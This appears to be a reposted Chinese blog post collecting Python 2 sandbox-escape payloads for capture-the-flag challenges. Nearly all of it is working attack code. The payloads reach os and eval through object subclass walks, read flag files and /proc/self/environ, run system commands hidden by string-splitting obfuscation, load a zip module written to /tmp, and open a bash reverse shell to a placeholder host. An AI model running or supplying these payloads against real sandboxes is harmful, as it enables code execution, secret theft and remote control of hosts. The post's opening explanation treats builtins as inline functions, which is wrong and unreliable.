Python沙盒逃逸Payload收集(搬运自王一航师傅)

1.内联函数

_builtins_
_import_

关于内联函数,
我的理解就是省去函数调用时函数返回地址、参数的压入栈的开销,而采用类似宏定义的代码展开方式,直接在该处替代成完整函数(理解错误请私聊本菜鸡~~)

看一下python的内联函数

Payload

查看文件

print [].__class__.__base__.__subclasses__()[40]('/home/ctf/flag').read()

linecache中查找os模块执行系统命令

print [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].__dict__.values()[144]('id')

在自模块中寻找 os 模块执行系统命令

{}.__class__.__bases__[0].__subclasses__()[71].__getattribute__({}.__class__.__bases__[0].__subclasses__()[71].__init__.__func__,'func'+'_global' +'s')['o'+'s'].popen('bash -c "bash -i >& /dev/tcp/xxx/xxx 0<&1 2>&1"')

其中bash -c "bash -i >& /dev/tcp/xxx/xxx 0<&1 2>&1"等价于bash -i >& /dev/tcp/xxx/xxx 0<&1 2>&1,详细参考bash -c
bash -i >& /dev/tcp/xxx/xxx 0<&1 2>&1则是反弹shell,详细参考shell反弹

读取重要信息

print [].__class__.__base__.__subclasses__()[40]('/proc/self/environ').read()
print [].__class__.__base__.__subclasses__()[40]('/proc/self/exe').read()
print [].__class__.__base__.__subclasses__()[40]('/proc/self/maps').read()
print [].__class__.__base__.__subclasses__()[40]('/proc/self/cmdline').read()

构造 zip module 使用 zipimporter

code = "PK\x03\x04\x14\x03\x00\x00\x08\x00\xec\xb9\x9cL\x15\xa5\x99\x18;\x00\x00\x00>\x00\x00\x00\n\x00\x00\x00Err0rzz.pySV\xd0\xd5\xd2UH\xceO\xc9\xccK\xb7R(-I\xd3\xb5\x00\x89pqe\xe6\x16\xe4\x17\x95(\xe4\x17sq\x15\x14e\xe6\x81Xz\xc5\x95\xc5%\xa9\xb9\x1a\xea9\xc5\n\xba\x899\xea\x9a\\\x00PK\x01\x02?\x03\x14\x03\x00\x00\x08\x00\xec\xb9\x9cL\x15\xa5\x99\x18;\x00\x00\x00>\x00\x00\x00\n\x00$\x00\x00\x00\x00\x00\x00\x00 \x80\xa4\x81\x00\x00\x00\x00Err0rzz.py\n\x00 \x00\x00\x00\x00\x00\x01\x00\x18\x00\x00\xd6\x06\xb2p\xdf\xd3\x01\x80\x00\xads\xf9\xa7\xd4\x01\x80\x00\xads\xf9\xa7\xd4\x01PK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\\\x00\x00\x00c\x00\x00\x00\x00\x00"
print [].__class__.__base__.__subclasses__()[40]('/tmp/err0rzz', 'a+').write(code)
print [].__class__.__base__.__subclasses__()[40]('/tmp/err0rzz').read()
[].__class__.__base__.__subclasses__()[55]('/tmp/err0rzz').load_module('Err0rzz')

运行结果如下


Python沙盒逃逸Payload收集(搬运自王一航师傅)_第1张图片

另外的操作

x = [x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'ca'+'tch_warnings'][0].__init__
x.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('l'+'s')
x.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('l'+'s /home/ctf')
x.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ca'+'t /home/ctf/5c72a1d444cf3121a5d25f2db4147ebb')
print ().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('__global'+'s__')['__builtins__']['e'+'v'+'a'+'l']("__import__('o'+'s').__dict__['sy'+'stem']('whoami')")

参考文章

https://www.jianshu.com/p/30ece4087a8a
https://blog.csdn.net/qq_35078631/article/details/78504415

你可能感兴趣的:(Python沙盒逃逸Payload收集(搬运自王一航师傅))